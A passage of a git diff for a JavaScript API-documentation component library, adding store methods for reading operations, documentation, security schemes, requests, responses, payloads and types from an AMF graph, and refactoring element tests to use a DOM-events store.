+   * @returns {Promise<ApiOperation>}
+   */
+  async getOperation(operationId, endpointId) {
+    const op = this.findOperation(operationId, endpointId);
+    if (!op) {
+      throw new Error(`No operation ${operationId} in the graph`);
+    }
+    return op;
+  }
+
+  /**
+   * Finds an endpoint that has the operation.
+   * @param {string} id Method name or the domain id of the operation to find
+   * @returns {Promise<ApiEndPoint|undefined>}
+   */
+  async getOperationParent(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoint = this._computeMethodEndpoint(api, id);
+    if (!endpoint) {
+      throw new Error(`Operation ${id} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+
+  /**
+   * Lists the documentation definitions for the API.
+   * @returns {Promise<ApiDocumentation[]>}
+   */
+  async listDocumentations() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.core.CreativeWork);
+    const docs = this._ensureArray(api[key]);
+    return docs.map((doc) => this.serializer.documentation(doc));
+  }
+
+  /**
+   * Reads the documentation object from the store.
+   * @param {string} id The domain id of the documentation object
+   * @returns {Promise<ApiDocumentation|undefined>} The read documentation.
+   */
+  async getDocumentation(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const types = this.getDocumentTypes();
+    // when we have loaded Documentation fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.documentation(encodes);
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const creative = this._computeDocument(api, id);
+    if (!creative) {
+      throw new Error(`Documentation ${id} does not exist.`);
+    }
+    const result = this.serializer.documentation(creative);
+    return result;
+  }
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param {string} id The domain id of the SecurityScheme
+   * @returns {Promise<ApiSecurityScheme>}
+   */
+  async getSecurityScheme(id) {
+    const types = this.getDocumentTypes();
+    // when we have loaded Security fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.security.SecuritySchemeFragment)) {
+      const { amf } = this;
+      if (!amf) {
+        return undefined;
+      }
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.securityScheme(encodes);
+    }
+    const object = this.findSecurityScheme(id);
+    if (!object) {
+      throw new Error(`No SecurityRequirement for ${id}`);
+    }
+    return this.serializer.securityScheme(object);
+  }
+
+  /**
+   * Reads the SecurityRequirement object from the graph.
+   * @param {string} id The domain id of the SecurityRequirement
+   * @returns {Promise<ApiSecurityRequirement>}
+   */
+  async getSecurityRequirement(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)];
+          if (Array.isArray(securityList)) {
+            for (const security of securityList) {
+              if (security['@id'] === id) {
+                return this.serializer.securityRequirement(security);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Lists the security definitions for the API.
+   * @returns {Promise<ApiSecuritySchemeListItem[]>}
+   */
+  async listSecurity() {
+    throw new Error(`Not implemented`);
+  }
+
+  /**
+   * Reads the Request object from the graph.
+   * @param {string} id The domain id of the Request
+   * @returns {Promise<ApiRequest>}
+   */
+  async getRequest(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
+          if (Array.isArray(expectsList)) {
+            for (const expects of expectsList) {
+              if (expects['@id'] === id) {
+                return this.serializer.request(expects);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Reads the response data from the graph.
+   * @param {string} id The domain id of the response.
+   * @returns {Promise<ApiResponse>}
+   */
+  async getResponse(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
+          if (Array.isArray(returnsList)) {
+            for (const returns of returnsList) {
+              if (returns['@id'] === id) {
+                return this.serializer.response(returns);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Finds a payload in a request or a response object.
+   * @param {DomainElement} object
+   * @param {string} domainId
+   * @returns {ApiPayload|undefined}
+   */
+  findPayload(object, domainId) {
+    const list = object[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
+    if (!Array.isArray(list) || !list.length) {
+      return undefined;
+    }
+    const model = list.find(i => i['@id'] === domainId);
+    if (!model) {
+      return undefined;
+    }
+    return this.serializer.payload(model);
+  }
+
+  /**
+   * Reads Payload data from the graph
+   * @param {string} id The domain id of the payload
+   * @returns {Promise<ApiPayload>}
+   */
+  async getPayload(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
+          if (Array.isArray(expectsList)) {
+            for (const expects of expectsList) {
+              const payload = this.findPayload(expects, id);
+              if (payload) {
+                return payload;
+              }
+            }
+          }
+          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
+          if (Array.isArray(returnsList)) {
+            for (const returns of returnsList) {
+              const payload = this.findPayload(returns, id);
+              if (payload) {
+                return payload;
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Lists the type (schema) definitions for the API.
+   * @returns {Promise<ApiNodeShapeListItem[]>}
+   */
+  async listTypes() {
+    throw new Error(`Not implemented`);
+  }
+
+  /**
+   * @param {string} id The domain id of the API type (schema).
+   * @returns {Promise<ApiShapeUnion>}
+   */
+  async getType(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const types = this.getDocumentTypes();
+    // when we have loaded Type fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.unknownShape(encodes);
+    }
+    const declares = this._computeDeclares(amf);
+    const references = this._computeReferences(amf);
+    const type = this._computeType(declares, references, id);
+    if (!type) {
+      return undefined;
+    }
+    return this.serializer.unknownShape(type);
+  }
 }
diff --git a/src/store/DomEventsAmfStore.d.ts b/src/store/DomEventsAmfStore.d.ts
new file mode 100644
index 0000000..c13f323
--- /dev/null
+++ b/src/store/DomEventsAmfStore.d.ts
@@ -0,0 +1,6 @@
+import { AmfStore } from './AmfStore';
+import { AmfStoreDomEventsMixin } from './mixins/AmfStoreDomEventsMixin';
+
+export class DomEventsAmfStore extends AmfStoreDomEventsMixin(AmfStore) {
+  
+}
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.js b/src/store/mixins/AmfStoreDomEventsMixin.js
index 254c2d1..ea29a10 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.js
+++ b/src/store/mixins/AmfStoreDomEventsMixin.js
@@ -7,14 +7,29 @@ import { EventTypes } from '../../events/EventTypes.js';
 export const eventHandler = Symbol('eventHandler');
 
 /**
- * @type {Record<string, { target: string, args?: string[], eventProperties?: boolean }>}
+ * @type {Record<string, { target: string, args?: string[], eventProperties?: boolean, passDetail?: boolean }>}
  */
 const eventsMap = {
   [EventTypes.Api.summary]: { target: 'apiSummary' },
+  [EventTypes.Api.protocols]: { target: 'apiProtocols' },
+  [EventTypes.Api.version]: { target: 'apiVersion' },
+  [EventTypes.Api.documentMeta]: { target: 'documentMeta' },
   [EventTypes.Endpoint.get]: { target: 'getEndpoint', args: ['id'], },
   [EventTypes.Endpoint.byPath]: { target: 'getEndpointByPath', args: ['id'], },
   [EventTypes.Endpoint.list]: { target: 'listEndpointsWithOperations' },
-  [EventTypes.Server.query]: { target: 'queryServers' },
+  [EventTypes.Operation.get]: { target: 'getOperation', args: ['id', 'parent'] },
+  [EventTypes.Operation.getParent]: { target: 'getOperationParent', args: ['id'] },
+  [EventTypes.Server.query]: { target: 'queryServers', passDetail: true },
+  [EventTypes.Documentation.list]: { target: 'listDocumentations' },
+  [EventTypes.Documentation.get]: { args: ['id'], target: 'getDocumentation' },
+  [EventTypes.Security.get]: { args: ['id'], target: 'getSecurityScheme' },
+  [EventTypes.Security.getRequirement]: { args: ['id'], target: 'getSecurityRequirement' },
+  [EventTypes.Security.list]: { target: 'listSecurity' },
+  [EventTypes.Request.get]: { args: ['id'], target: 'getRequest', },
+  [EventTypes.Response.get]: { args: ['id'], target: 'getResponse', },
+  [EventTypes.Payload.get]: { args: ['id'], target: 'getPayload', },
+  [EventTypes.Type.list]: { target: 'listTypes' },
+  [EventTypes.Type.get]: { args: ['id'], target: 'getType' },
 };
 
 /**
@@ -76,8 +91,11 @@ const mxFunction = base => {
         console.warn(`Incorrectly handled event ${e.type}`);
         return;
       }
-      const { args, target } = info;
-      if (!Array.isArray(args) || !args.length) {
+      const { args, target, passDetail } = info;
+      if (passDetail) {
+        const cp = { ...(e.detail || {}) };
+        e.detail.result = this[target](cp);
+      } else if (!Array.isArray(args) || !args.length) {
         e.detail.result = this[target]();
       } else {
         const params = [];
diff --git a/src/types.d.ts b/src/types.d.ts
index ea1ee4b..fa688c2 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -360,3 +360,43 @@ export interface ApiEndpointsTreeItem extends ApiEndPointWithOperationsListItem
   hasShortPath?: boolean;
   hasChildren?: boolean;
 }
+
+export interface ApiSecuritySchemeListItem {
+  id: string;
+  type: string;
+  name?: string;
+  displayName?: string;
+}
+
+export declare interface ApiNodeShapeListItem {
+  id: string;
+  name?: string;
+  displayName?: string;
+}
+
+export interface DocumentMeta {
+  /**
+   * True when the loaded document represent an API (in an opposite to a fragment or a partial model).
+   */
+  isApi: boolean;
+  /**
+   * Whether the loaded document represent an Async API.
+   */
+  isAsync: boolean;
+  /**
+   * Whether the loaded document represent a RAML fragment / OAS reference.
+   */
+  isFragment: boolean;
+  /**
+   * A special type of fragment that is a RAML library.
+   */
+  isLibrary: boolean;
+  /**
+   * The list of types of the loaded document.
+   */
+  types: string[];
+  /**
+   * The domain id of the `encodes` property.
+   */
+  encodesId?: string;
+}
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index 0edb816..6610460 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -25,6 +25,8 @@ import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 /** @typedef {import('../src/helpers/api').ApiDocumentation} ApiDocumentation */
 /** @typedef {import('../src/helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../src/helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../src/helpers/api').ApiRequest} ApiRequest */
+/** @typedef {import('../src/helpers/api').ApiResponse} ApiResponse */
 
 /**
  * @typedef EndpointOperation
@@ -349,6 +351,18 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     return method[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
   }
 
+  /**
+   * @param {AmfDocument} model
+   * @param {string} endpoint
+   * @param {string} operation
+   * @return {ApiResponse[]}
+   */
+  getResponses(model, endpoint, operation) {
+    const responses = this.lookupResponses(model, endpoint, operation);
+    const serializer = new AmfSerializer(model);
+    return responses.map(i => serializer.response(i));
+  }
+
   /**
    * @param {AmfDocument} model 
    * @param {string} path The endpoint path
@@ -373,6 +387,19 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     return response;
   }
 
+  /**
+   * @param {AmfDocument} model
+   * @param {string} endpoint
+   * @param {string} operation
+   * @param {string} code The response's status code
+   * @return {ApiResponse}
+   */
+  getResponse(model, endpoint, operation, code) {
+    const response = this.lookupResponse(model, endpoint, operation, code);
+    const serializer = new AmfSerializer(model);
+    return serializer.response(response);
+  }
+
   /**
    * @param {AmfDocument} model
    * @param {string} endpoint
@@ -391,6 +418,21 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     return requests;
   }
 
+  /**
+   * @param {AmfDocument} model
+   * @param {string} endpoint
+   * @param {string} operation
+   * @return {ApiRequest}
+   */
+  getRequest(model, endpoint, operation) {
+    const request = this.lookupRequest(model, endpoint, operation);
+    if (!request) {
+      throw new Error(`No request found in operation ${operation} and path ${endpoint}`);
+    }
+    const serializer = new AmfSerializer(model);
+    return serializer.request(request);
+  }
+
   /**
    * @param {AmfDocument} model 
    * @param {string} path The endpoint path
diff --git a/test/elements/ApiAnnotationDocumentElement.test.js b/test/elements/ApiAnnotationDocumentElement.test.js
index 5ef0acd..23cce50 100644
--- a/test/elements/ApiAnnotationDocumentElement.test.js
+++ b/test/elements/ApiAnnotationDocumentElement.test.js
@@ -1,21 +1,23 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../define/api-annotation-document.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 
 /** @typedef {import('../../').ApiAnnotationDocumentElement} ApiAnnotationDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
 
 describe('ApiAnnotationDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
   const apiFile = 'annotated-api';
   /**
-   * @param {AmfDocument} amf
-   * @param {DomainElement=} shape
+   * @param {ApiCustomDomainProperty[]=} properties
    * @returns {Promise<ApiAnnotationDocumentElement>}
    */
-  async function basicFixture(amf, shape) {
-    return fixture(html`<api-annotation-document .amf="${amf}" .shape="${shape}"></api-annotation-document>`);
+  async function basicFixture(properties) {
+    return fixture(html`<api-annotation-document .customProperties="${properties}"></api-annotation-document>`);
   }
 
   describe('a11y', () => {
@@ -25,11 +27,12 @@ describe('ApiAnnotationDocumentElement', () => {
     let model;
     before(async () => {
       model = await loader.getGraph(true, apiFile);
+      store.amf = model;
     });
 
     beforeEach(async () => {
-      const shape = loader.lookupShape(model, 'ComplexAnnotations');
-      element = await basicFixture(model, shape);
+      const shape = loader.getShape(model, 'ComplexAnnotations');
+      element = await basicFixture(shape.customDomainProperties);
       await nextFrame();
     });
 
@@ -45,36 +48,37 @@ describe('ApiAnnotationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, apiFile);
+          store.amf = model;
         });
 
         /** @type ApiAnnotationDocumentElement */
         let element;
         beforeEach(async () => {
-          element = await basicFixture(model);
+          element = await basicFixture();
         });
 
         it('computes hasCustomProperties when no annotations', () => {
-          const shape = loader.lookupShape(model, 'NoAnnotations');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'NoAnnotations');
+          element.customProperties = shape.customDomainProperties;
           assert.isFalse(element.hasCustomProperties);
         });
 
         it('computes hasCustomProperties when has the annotations', () => {
-          const shape = loader.lookupShape(model, 'ComboType');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'ComboType');
+          element.customProperties = shape.customDomainProperties;
           assert.isTrue(element.hasCustomProperties);
         });
 
         it('computes the list of annotations', () => {
-          const shape = loader.lookupShape(model, 'ComboType');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'ComboType');
+          element.customProperties = shape.customDomainProperties;
           assert.typeOf(element.customProperties, 'array');
           assert.lengthOf(element.customProperties, 3);
         });
 
         it('renders a nil annotation', async () => {
-          const shape = loader.lookupShape(model, 'notRequiredRepeatable');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'notRequiredRepeatable');
+          element.customProperties = shape.customDomainProperties;
           await nextFrame();
           const node = element.shadowRoot.querySelectorAll('.custom-property')[0];
           assert.ok(node, 'Annotation container is rendered');
@@ -85,19 +89,19 @@ describe('ApiAnnotationDocumentElement', () => {
         });
 
         // APIMF-1710
-        it.skip('does not render a value for a nil annotation', async () => {
-          const shape = loader.lookupShape(model, 'notRequiredRepeatable');
-          element.shape = shape;
+        it('does not render a value for a nil annotation', async () => {
+          const shape = loader.getShape(model, 'notRequiredRepeatable');
+          element.customProperties = shape.customDomainProperties;
           await nextFrame();
           const node = element.shadowRoot.querySelector('.custom-property');
           assert.ok(node, 'Annotation container is rendered');
           const value = node.querySelector('.scalar-value');
-          assert.notOk(value, 'Annotation value is not rendered');
+          assert.isEmpty(value.textContent.trim(), 'Annotation value is not rendered');
         });
 
         it('renders a scalar annotation', async () => {
-          const shape = loader.lookupShape(model, 'ErrorResource');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'ErrorResource');
+          element.customProperties = shape.customDomainProperties;
           await nextFrame();
           const node = element.shadowRoot.querySelector('.custom-property');
           assert.ok(node, 'Annotation container is rendered');
@@ -112,8 +116,8 @@ describe('ApiAnnotationDocumentElement', () => {
         });
 
         it('renders a complex annotation', async () => {
-          const shape = loader.lookupShape(model, 'ComplexAnnotations');
-          element.shape = shape;
+          const shape = loader.getShape(model, 'ComplexAnnotations');
+          element.customProperties = shape.customDomainProperties;
           await nextFrame();
           const node = element.shadowRoot.querySelector('.custom-property');
           assert.ok(node, 'Annotation container is rendered');
diff --git a/test/elements/ApiDocumentationDocumentElement.test.js b/test/elements/ApiDocumentationDocumentElement.test.js
index b16c163..d3d7573 100644
--- a/test/elements/ApiDocumentationDocumentElement.test.js
+++ b/test/elements/ApiDocumentationDocumentElement.test.js
@@ -1,41 +1,42 @@
 import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-documentation-document.js';
 
 /** @typedef {import('../../').ApiDocumentationDocumentElement} ApiDocumentationDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('../../src/helpers/amf').CreativeWork} CreativeWork */
 /** @typedef {import('../../src/helpers/api').ApiDocumentation} ApiDocumentation */
 
 describe('ApiDocumentationDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
   const apiFile = 'documented-api';
 
   /**
-   * @param {AmfDocument} amf
-   * @param {CreativeWork} graph
+   * @param {ApiDocumentation} model
    * @returns {Promise<ApiDocumentationDocumentElement>}
    */
-  async function graphFixture(amf, graph) {
-    const element = await fixture(html`<api-documentation-document
-      .amf="${amf}"
-      .domainModel="${graph}"></api-documentation-document>`);
-    // there's a debouncer set for the domainModel change
-    await aTimeout(2);
-    await nextFrame();
+  async function graphFixture(model) {
+    const element = await fixture(html`
+    <api-documentation-document
+      .queryDebouncerTimeout="${0}"
+      .documentation="${model}"
+      ></api-documentation-document>`);
     return /** @type ApiDocumentationDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string} domainId
    * @returns {Promise<ApiDocumentationDocumentElement>}
    */
-  async function domainIdFixture(amf, domainId) {
-    const element = await fixture(html`<api-documentation-document
-      .amf="${amf}"
-      .domainId="${domainId}"></api-documentation-document>`);
+  async function domainIdFixture(domainId) {
+    const element = await fixture(html`
+    <api-documentation-document
+      .queryDebouncerTimeout="${0}"
+      .domainId="${domainId}"
+    ></api-documentation-document>`);
     // there's a debouncer set for the domainId change
     await aTimeout(2);
     await nextFrame();
@@ -49,11 +50,13 @@ describe('ApiDocumentationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, apiFile);
+          store.amf = model;
         });
 
         it('initializes the component with the domainId', async () => {
           const docs = loader.getDocumentation(model, 'Test docs');
-          const element = await domainIdFixture(model, docs.id);
+          const element = await domainIdFixture(docs.id);
+          await nextFrame();
           const title = element.shadowRoot.querySelector('.documentation-header');
           assert.ok(title, 'has the documentation title');
           const description = element.shadowRoot.querySelector('.api-description');
@@ -61,8 +64,8 @@ describe('ApiDocumentationDocumentElement', () => {
         });
 
         it('initializes the component with the graph model', async () => {
-          const docs = loader.lookupDocumentation(model, 'Test docs');
-          const element = await graphFixture(model, docs);
+          const docs = loader.getDocumentation(model, 'Test docs');
+          const element = await graphFixture(docs);
           const title = element.shadowRoot.querySelector('.documentation-header');
           assert.ok(title, 'has the documentation title');
           const description = element.shadowRoot.querySelector('.api-description');
@@ -75,20 +78,21 @@ describe('ApiDocumentationDocumentElement', () => {
         let element;
         /** @type AmfDocument */
         let model;
-        /** @type CreativeWork */
+        /** @type ApiDocumentation */
         let docs;
 
         before(async () => {
           model = await loader.getGraph(compact, apiFile);
-          docs = loader.lookupDocumentation(model, 'Test docs');
+          store.amf = model;
+          docs = loader.getDocumentation(model, 'Test docs');
         });
 
         beforeEach(async () => {
-          element = await graphFixture(model, docs);
+          element = await graphFixture(docs);
         });
 
         it('has the #model', () => {
-          assert.typeOf(element.model, 'object');
+          assert.typeOf(element.documentation, 'object');
         });
 
         it('renders the title', () => {
@@ -108,18 +112,19 @@ describe('ApiDocumentationDocumentElement', () => {
         let element;
         /** @type AmfDocument */
         let model;
-        /** @type CreativeWork */
+        /** @type ApiDocumentation */
         let docs;
         /** @type NodeListOf<HTMLAnchorElement> */
         let anchors;
 
         before(async () => {
           model = await loader.getGraph(compact, apiFile);
-          docs = loader.lookupDocumentation(model, 'Read this!');
+          store.amf = model;
+          docs = loader.getDocumentation(model, 'Read this!');
         });
 
         beforeEach(async () => {
-          element = await graphFixture(model, docs);
+          element = await graphFixture(docs);
           anchors = element.shadowRoot.querySelectorAll('a');
         });
 
diff --git a/test/elements/ApiDocumentationElement.test.js b/test/elements/ApiDocumentationElement.test.js
index 5b22b34..542faac 100644
--- a/test/elements/ApiDocumentationElement.test.js
+++ b/test/elements/ApiDocumentationElement.test.js
@@ -2,8 +2,8 @@ import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import { ServerEvents } from '../../src/events/ServerEvents.js';
 import { AmfLoader } from '../AmfLoader.js';
 import { loadMonaco } from '../MonacoSetup.js';
-import { renderedModelValue } from '../../src/elements/ApiDocumentationElement.js';
 import { NavigationEvents } from '../../src/events/NavigationEvents.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-documentation.js';
 
 /** @typedef {import('../../').ApiDocumentationElement} ApiDocumentationElement */
@@ -15,19 +15,19 @@ import '../../define/api-documentation.js';
 
 describe('ApiDocumentationElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   before(async () => loadMonaco());
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {SelectionType=} domainType
    * @returns {Promise<ApiDocumentationElement>}
    */
-  async function basicFixture(amf, domainId, domainType) {
+  async function basicFixture(domainId, domainType) {
     const element = await fixture(html`<api-documentation 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       .domainId="${domainId}"
       .domainType="${domainType}"
     ></api-documentation>`);
@@ -36,15 +36,13 @@ describe('ApiDocumentationElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {string=} operationId
    * @returns {Promise<ApiDocumentationElement>}
    */
-  async function operationFixture(amf, domainId, operationId) {
+  async function operationFixture(domainId, operationId) {
     const element = await fixture(html`<api-documentation 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       domainType="operation"
       .domainId="${domainId}"
       .operationId="${operationId}"
@@ -54,15 +52,13 @@ describe('ApiDocumentationElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {SelectionType=} domainType
    * @returns {Promise<ApiDocumentationElement>}
    */
-  async function tryitPanelFixture(amf, domainId, domainType) {
+  async function tryitPanelFixture(domainId, domainType) {
     const element = await fixture(html`<api-documentation 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       .domainId="${domainId}"
       .domainType="${domainType}"
       tryItPanel
@@ -72,15 +68,13 @@ describe('ApiDocumentationElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {string=} operationId
    * @returns {Promise<ApiDocumentationElement>}
    */
-  async function customServersFixture(amf, domainId, operationId) {
+  async function customServersFixture(domainId, operationId) {
     const element = await fixture(html`<api-documentation 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       .domainId="${domainId}"
       .operationId="${operationId}"
       domainType="operation"
@@ -97,15 +91,13 @@ describe('ApiDocumentationElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {SelectionType=} domainType
    * @returns {Promise<ApiDocumentationElement>}
    */
-  async function navigationFixture(amf, domainId, domainType) {
+  async function navigationFixture(domainId, domainType) {
     const element = await fixture(html`<api-documentation 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       .domainId="${domainId}"
       .domainType="${domainType}"
       handleNavigationEvents
@@ -114,7 +106,7 @@ describe('ApiDocumentationElement', () => {
     return /** @type ApiDocumentationElement */ (element);
   }
 
-  [false].forEach((compact) => {
+  [false, true].forEach((compact) => {
     describe(compact ? 'Compact model' : 'Full model', () => {
       /** @type AmfDocument */
       let demoModel;
@@ -142,49 +134,56 @@ describe('ApiDocumentationElement', () => {
 
       describe('components rendering', () => {
         it('renders the api-summary element', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const node = element.shadowRoot.querySelector('api-summary');
           assert.ok(node);
         });
 
         it('renders the api-resource-document element', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people')
-          const element = await basicFixture(demoModel, endpoint.id, 'resource');
+          const element = await basicFixture(endpoint.id, 'resource');
           const node = element.shadowRoot.querySelector('api-resource-document');
           assert.ok(node);
         });
 
         it('renders the api-resource-document element for an operation', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const element = await operationFixture(endpoint.id, endpoint.operations[0].id);
           const node = element.shadowRoot.querySelector('api-resource-document');
           assert.ok(node);
         });
 
         it('renders the api-schema-document element', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'ErrorResource');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const node = element.shadowRoot.querySelector('api-schema-document');
           assert.ok(node);
         });
 
         it('renders the api-security-document element', async () => {
+          store.amf = demoModel;
           const security = loader.getSecurity(demoModel, 'digest');
-          const element = await basicFixture(demoModel, security.id, 'security');
+          const element = await basicFixture(security.id, 'security');
           const node = element.shadowRoot.querySelector('api-security-document');
           assert.ok(node);
         });
 
         it('renders the api-documentation-document element', async () => {
+          store.amf = demoModel;
           const doc = loader.getDocumentation(demoModel, 'Test doc');
-          const element = await basicFixture(demoModel, doc.id, 'documentation');
+          const element = await basicFixture(doc.id, 'documentation');
           const node = element.shadowRoot.querySelector('api-documentation-document');
           assert.ok(node);
         });
 
         it('renders the try it panel', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people')
-          const element = await tryitPanelFixture(demoModel, endpoint.id, 'resource');
+          const element = await tryitPanelFixture(endpoint.id, 'resource');
           await aTimeout(1);
           
           const node = element.shadowRoot.querySelector('api-resource-document');
@@ -197,7 +196,8 @@ describe('ApiDocumentationElement', () => {
 
       describe('changing the selection', () => {
         it('changes to a resource', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const endpoint = loader.getEndpoint(demoModel, '/people')
           element.domainId = endpoint.id;
           element.domainType = 'resource';
@@ -209,7 +209,8 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('changes to an operation', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const endpoint = loader.getEndpoint(demoModel, '/people')
           element.domainId = endpoint.id;
           element.operationId = endpoint.operations[0].id;
@@ -222,7 +223,8 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('changes to a schema', async () => {
